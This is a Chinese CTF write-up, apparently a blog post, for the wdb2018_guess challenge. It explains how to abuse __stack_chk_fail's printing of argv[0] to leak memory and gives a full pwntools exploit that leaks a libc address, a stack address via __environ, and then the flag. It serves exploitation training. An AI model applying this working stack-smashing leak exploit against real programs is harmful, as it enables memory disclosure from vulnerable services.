wdb2018_guess-___stack_chk_fail泄露信息

背景知识

在程序添加了canary保护后,如果我们读取的bof覆盖了对应的值时,程序就会报错,我们可以利用报错信息。

程序在启动canary保护之后,如果发现canary被修改的话,程序就会执行__stack_chk_fail函数来打印argv[0]指针所指向的字符串,正常情况下,这个指针指向程序名。很简单,只要我们可以控制argv[0],就能知道我们想知道的信息。

void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}

void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminated\n",
                    msg, __libc_argv[0] ?: "<unknown>");//这里简单理解成打印出报错信息即可,也就是可以泄露信息
}

wdb2018_guess

main

sub_400A11

思路:

可以看到用flag.txt中读取了flag的内容(存储在栈上),同时可以看到程序fork三个子进程,也就是说我们有3次机会可以尝试猜测flag,这里我们借助stacksmash泄露信息获得flag,

  1. 首先泄露puts_got地址,从而或者libc基址,计算__environ地址
  2. 将argv[0]设置为__environ地址,从而获得其中存储的在栈上的环境变量地址
  3. 利用flag在栈上的内容与环境变量的偏移 获得flag在栈上的地址,设置argv[0]为flag在栈上的地址,泄露flag

 

EXP:

from pwn import *
from LibcSearcher import *

io=remote("node3.buuoj.cn","25704")
elf=ELF('./GUESS')

context(os='linux',arch=elf.arch,log_level='debug')

puts_got=elf.got['puts']
def stack_overflow(payload):
    io.sendlineafter("Please type your guessing flag",payload)

'''first step : leak libc address '''
stack_overflow('a'*0x128 + p64(puts_got))
io.recvuntil('*** stack smashing detected ***:')
puts_addr=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print "puts address ==> "+hex(puts_addr)
libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr-libc.dump('puts')


'''second step : leak environ stack  address '''
environ_addr=libc_base+libc.dump('__environ')
stack_overflow('a'*0x128 + p64(environ_addr))
stack_addr=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print "stack address ==> "+hex(stack_addr)

'''third step : leak flag address '''
flag_addr=stack_addr-360
stack_overflow('a'*0x128 + p64(flag_addr))

io.recv()
io.interactive()

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值